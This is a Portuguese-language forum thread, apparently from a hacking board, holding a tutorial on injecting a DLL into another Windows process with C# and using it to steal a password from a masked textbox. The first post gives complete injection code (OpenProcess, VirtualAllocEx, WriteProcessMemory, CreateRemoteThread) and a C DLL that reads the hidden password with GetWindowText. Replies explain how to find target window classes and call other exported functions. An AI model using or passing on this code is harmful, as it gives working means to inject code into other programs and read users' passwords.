Resultados 1 a 6 de 6
  1. #1
    Newbie
    Data de Ingresso
    May 2011
    Localização
    São Paulo
    Posts
    62

    Programação C# III - Injetando uma Dll e Roubando senha

    Opa vim compartilhar um tutorialzinho que fiz aqui utilizando c# para injetar uma dll feita em C, para roubar a senha de um programa..


    Sem mais, vamos começar...

    Utilizando o Visual Studio (2005 ou superior) criem um projeto do tipo Console Application.
    Fora do método main, declare as seguintes constantes que iremos precisar no programa:
    Código PHP:
    const uint All 0x001F0FFF;
    const 
    uint MEM_COMMIT 0x1000;
    const 
    uint MEM_RESERVE 0x2000;
    const 
    uint PAGE_EXECUTE_READWRITE 0X40
    A partir de agora tudo que iremos implementar vai ficar dentro do método Main.
    Código PHP:
    if (args.Length 2)
    {
        
    Console.WriteLine("Parâmetros: [Pid] [CaminhoDll]");
        return;
    }
    int pid Int32.Parse(args[0]);
    string caminhoDll args[1]; 
    Aqui fazemos somente uma validação dos argumentos passados ao programa. Para injetar a dll vamos precisar dessas 2 informações: o Id do processo, e o caminho da Dll que iremos injetar.

    Código PHP:
    IntPtr hProcess OpenProcess(Allfalsepid);
    if (
    hProcess == IntPtr.Zero)
    {
        
    Console.WriteLine("Não foi possível abrir o processo");
        return;

    Utilizamos a Api OpenProcess para abrir o processo a partir do id que recebemos e armazenamos sua handle na variável hProcess.

    Código PHP:
    IntPtr loadlibAddr GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (
    loadlibAddr == IntPtr.Zero)
    {
        
    Console.WriteLine("Não foi possível encontrar o endereço de 'LoadLibraryA'");
        return;

    Nesse trecho de código, procuramos o endereço da função LoadLibraryA dentro da dll kernel32, utilizando a Api GetProcAddress que nos retorna essa informação e guardamos esse endereço na variável loadlibAddr.

    Código PHP:
    IntPtr allocAddress VirtualAllocEx(
       
    hProcess,
       
    IntPtr.Zero,
       new 
    IntPtr(caminhoDll.Length 1),
       
    MEM_COMMIT MEM_RESERVE,
       
    PAGE_EXECUTE_READWRITE);
    if (
    allocAddress == IntPtr.Zero)
    {
        
    Console.WriteLine("Não foi possível alocar memória no processo alvo");
        return;

    Em seguida, alocamos um espaço dentro da memória do processo utilizando a api VirtualAllocEx. Observem que no terceiro parâmetro, informamos o tamanho da variável que guarda o caminho da dll + 1. Em breve vcs vão entender melhor o por que disso. Também guardamos na variável allocAddress o endereço que alocamos dentro desse processo.

    Código PHP:
    UIntPtr bytesmem UIntPtr.Zero;
    byte[] bytes Encoding.ASCII.GetBytes(caminhoDll);
    WriteProcessMemory(hProcessallocAddressbytes, (uint)bytes.Lengthout bytesmem);
    if (
    bytesmem == UIntPtr.Zero)
    {
        
    Console.WriteLine("Não foi possível escrever na memória do processo alvo");
        return;

    Agora, convertemos o caminho da dll, para uma variável do tipo byte[], e usamos a api WriteProcessMemory para escrever os bytes (caminhoDll), dentro do espaço que alocamos no processo (allocAddress).

    Código PHP:
    IntPtr hThread CreateRemoteThread(
       
    hProcess,
       
    IntPtr.Zero,
       
    IntPtr.Zero,
       
    loadlibAddr,
       
    allocAddress,
       
    0,
       
    IntPtr.Zero);
    if (
    hThread == IntPtr.Zero)
    {
        
    Console.WriteLine("Não foi possível injetar a Dll no processo alvo");
        return;

    Finalmente, utilizando a api CreateRemoteThread, criamos uma thread dentro do processo que carrega a Dll que escolhemos dentro do espaço de memória que alocamos. A partir dessa rotina já conseguimos injetar uma Dll dentro de um processo.
    Porém continuando o tutorial vou mostrar como utilizar isso para roubar a senha de um programa daquelas caixas de texto de senha que ficam somente com o texto: *********.
    Para isso precisaremos criar uma Dll em C. No meu caso vou utilizar o Visual C++ 6.0 pq é o único compilador que tenho aqui no momento rs :P.

    A rotina da Dll ficará assim:

    Código:
    #include <windows.h>
    
    BOOL APIENTRY DllMain( HANDLE hModule, 
                           DWORD  ul_reason_for_call, 
                           LPVOID lpReserved
                         )
    {
        HWND hwnd;
        HWND txthwnd;
    
        switch (ul_reason_for_call)
        {
            case DLL_PROCESS_ATTACH:
                hwnd = FindWindow("ThunderRT6FormDC", "Form1");
                if(hwnd == 0)
                    MessageBox(0, "Não encontrei o Form", "=(", 0);
                txthwnd = FindWindowEx(hwnd, 0, "ThunderRT6TextBox", "");
                if(txthwnd == 0)
                    MessageBox(0, "Não encontrei a caixa de texto com a senha", "=(", 0);
                char valor[30];
                GetWindowText(txthwnd, valor, 30);
                MessageBox(0, valor, "Ta ai a senha, enjoy..", 0);
                break;
            case DLL_THREAD_ATTACH:
            case DLL_THREAD_DETACH:
            case DLL_PROCESS_DETACH:
                break;
        }
        return TRUE;
    }
    Agora explicando, no caso eu criei um form bem simples no VB6, não tem nenhum código, é somente um form com 1 botão e 1 caixa de texto com a propriedade PasswordChar setada para utilizar *. Na rotina da Dll utilizamos o case DLL_PROCESS_ATACH que é disparado assim que a Dll é associada ao processo. A Dll simplesmente utiliza as Api's FindWindow e FindWindowEx para obter a handle da caixa de texto dentro do formulário. Após isso utiliza a função GetWindowText descobrindo o que está escrito na caixa de texto e exibe numa MessageBox, simples né!? =P
    Assim utilizando essa dll que eu criei, uso o programa para injetá-la dentro do processo do formzinho que eu criei e ela me exibe uma MessageBox com a senha.
    Obviamente, poderiamos tentar obter a handle da caixa de texto de um programa externo e através dele utilizar a GetWindowText, porém isso não funcionaria, pelo simples motivo:
    Quando você utiliza a api GetWindowText, ela envia a mensagem WM_GETTEXT para o objeto, porém isso não acontece quando vc a utiliza em um objeto que faz parte de um outro processo, dessa forma não teria como vc utiliza-la para descobrir a senha sem ter de injetar uma Dll.

    O fonte completo com a declaração das api's necessárias segue abaixo:
    Código PHP:
    using System;
    using System.IO;
    using System.Runtime.InteropServices;
    using System.Text;

    namespace 
    ConsoleApplication2
    {
        class 
    Program
        
    {
            [
    DllImport("kernel32.dll")]
            public static 
    extern IntPtr OpenProcess(uint dwDesiredAccess, [MarshalAs(UnmanagedType.Bool)] bool bInheritHandleint dwProcessId);

            [
    DllImport("kernel32.dll"SetLastError true)]
            public static 
    extern IntPtr GetProcAddress(
                
    IntPtr hModule,
                
    string lpProcName);

            [
    DllImport("kernel32.dll"SetLastError true)]
            public static 
    extern IntPtr GetModuleHandle(
                
    string lpModuleName);

            [
    DllImport("kernel32.dll"SetLastError true)]
            public static 
    extern IntPtr VirtualAllocEx(
                
    IntPtr hProcess,
                
    IntPtr lpAddress,
                
    IntPtr dwSize,
                
    uint flAllocationType,
                
    uint flProtect);

            [
    DllImport("kernel32.dll"SetLastError true)]
            public static 
    extern IntPtr CreateRemoteThread(
                
    IntPtr hProcess,
                
    IntPtr lpThreadAttribute,
                
    IntPtr dwStackSize,
                
    IntPtr lpStartAddress,
                
    IntPtr lpParameter,
                
    uint dwCreationFlags,
                
    IntPtr lpThreadId); 

            [
    DllImport("kernel32.dll"SetLastError true)]
            public static 
    extern bool WriteProcessMemory(IntPtr hProcessIntPtr lpBaseAddressbyte[] lpBufferuint nSizeout UIntPtr lpNumberOfBytesWritten);

            const 
    uint All 0x001F0FFF;
            const 
    uint MEM_COMMIT 0x1000;
            const 
    uint MEM_RESERVE 0x2000;
            const 
    uint PAGE_EXECUTE_READWRITE 0X40;

            static 
    void Main(string[] args)
            {
                
    args = new string[2];
                
    args[0] = "1392";
                
    args[1] = @"c:\testedll.dll";

                if (
    args.Length 2)
                {
                    
    Console.WriteLine("Parâmetros: [Pid] [CaminhoDll]");
                    return;
                }
                
    int pid Int32.Parse(args[0]);
                
    string caminhoDll args[1];

                
    IntPtr hProcess OpenProcess(Allfalsepid);
                if (
    hProcess == IntPtr.Zero)
                {
                    
    Console.WriteLine("Não foi possível abrir o processo");
                    return;
                }

                
    IntPtr loadlibAddr GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
                if (
    loadlibAddr == IntPtr.Zero)
                {
                    
    Console.WriteLine("Não foi possível encontrar o endereço de 'LoadLibraryA'");
                    return;
                }

                
    IntPtr allocAddress VirtualAllocEx(
                    
    hProcess,
                    
    IntPtr.Zero,
                    new 
    IntPtr(caminhoDll.Length 1),
                    
    MEM_COMMIT MEM_RESERVE,
                    
    PAGE_EXECUTE_READWRITE);
                if (
    allocAddress == IntPtr.Zero)
                {
                    
    Console.WriteLine("Não foi possível alocar memória no processo alvo");
                    return;
                }

                
    UIntPtr bytesmem UIntPtr.Zero;
                
    byte[] bytes Encoding.ASCII.GetBytes(caminhoDll);
                
    WriteProcessMemory(hProcessallocAddressbytes, (uint)bytes.Lengthout bytesmem);
                if (
    bytesmem == UIntPtr.Zero)
                {
                    
    Console.WriteLine("Não foi possível escrever na memória do processo alvo");
                    return;
                }

                
    IntPtr hThread CreateRemoteThread(
                    
    hProcess,
                    
    IntPtr.Zero,
                    
    IntPtr.Zero,
                    
    loadlibAddr,
                    
    allocAddress,
                    
    0,
                    
    IntPtr.Zero);
                if (
    hThread == IntPtr.Zero)
                {
                    
    Console.WriteLine("Não foi possível injetar a Dll no processo alvo");
                    return;
                }

                return;
            }
        }

    Espero que gostem, abraços

  2. #2
    White Hat Administrador Avatar de fvox
    Data de Ingresso
    Sep 2005
    Localização
    São Paulo - SP
    Posts
    4.428
    Hi.

    Muito "f*cking" good. =P
    Deu até saudade do .NET ahahah. Pena que entrei de vez pra vida de scripteiro e unixzeiro.
    Mas enfim, só uma pergunta... Já na DLL em C, como faço pra saber o nome do textbox? No caso, ali o "ThunderRT6TextBox".

    Thanks pelo tópico. ;-)

    []'s
    Acha que está caindo na insanidade? Mergulhe!

    Twitter | Blog | Facebook | Github

  3. #3
    Newbie
    Data de Ingresso
    May 2011
    Localização
    São Paulo
    Posts
    62
    Heheh..tipo pra vc conseguir descobrir o nome da classe vc precisa ter a handle desse objeto e ai é só utilizar a GetClassName. Caso vc não tenha a handle, dá pra utilizar EnumWindows, EnumChildWindows, que enumeram as handles de cada objeto do formulário pra vc, e ai vc vai usando em todas a GetClassName e assim vai sabendo a classe de uma por uma. No meu caso pra evitar todo esse trabalho usei aquele Spy++ que vem desde as versões antigas do VisualStudio, com ele é só apontar para o objeto que vc quer descobrir xD

  4. #4
    E se em vez da DllMain fossemos chamar outra função na DLL como ficaria mais ou menos?
    MP Com dúvidas e pedidos de ajudas serão IGNORADAS
    "Mentes fracas não pensam,corpos fracos não lutam."

    Microsoft Technology Associate: Software Development Fundamentals (C#
    )

  5. #5
    Newbie
    Data de Ingresso
    May 2011
    Localização
    São Paulo
    Posts
    62
    Então R0dr1g0, não sei te dizer com certeza absoluta, mas a partir de alguns testes que eu fiz quando tava fuçando nisso, vc pode criar outras funções, headers, etc...desde que, no final, tudo isso que vc implementou seja chamado dentro do DLL_PROCESS_ATTACH na DllMain para seja executado assim que a dll seja injetada no processo
    Acredito eu que substituir o DllMain não é possível já que é o ponto de entrada da dll, pelo menos não se o seu objetivo for injetar a dll...

  6. #6
    Se injetarmos a dll que exporta a função X nós poderiamos usar o CreateRemoteThread para um thread executar aquela função especifica em um processo remoto.
    MP Com dúvidas e pedidos de ajudas serão IGNORADAS
    "Mentes fracas não pensam,corpos fracos não lutam."

    Microsoft Technology Associate: Software Development Fundamentals (C#
    )

Permissões de Postagem

  • Você não pode iniciar novos tópicos
  • Você não pode enviar respostas
  • Você não pode enviar anexos
  • Você não pode editar suas mensagens
  •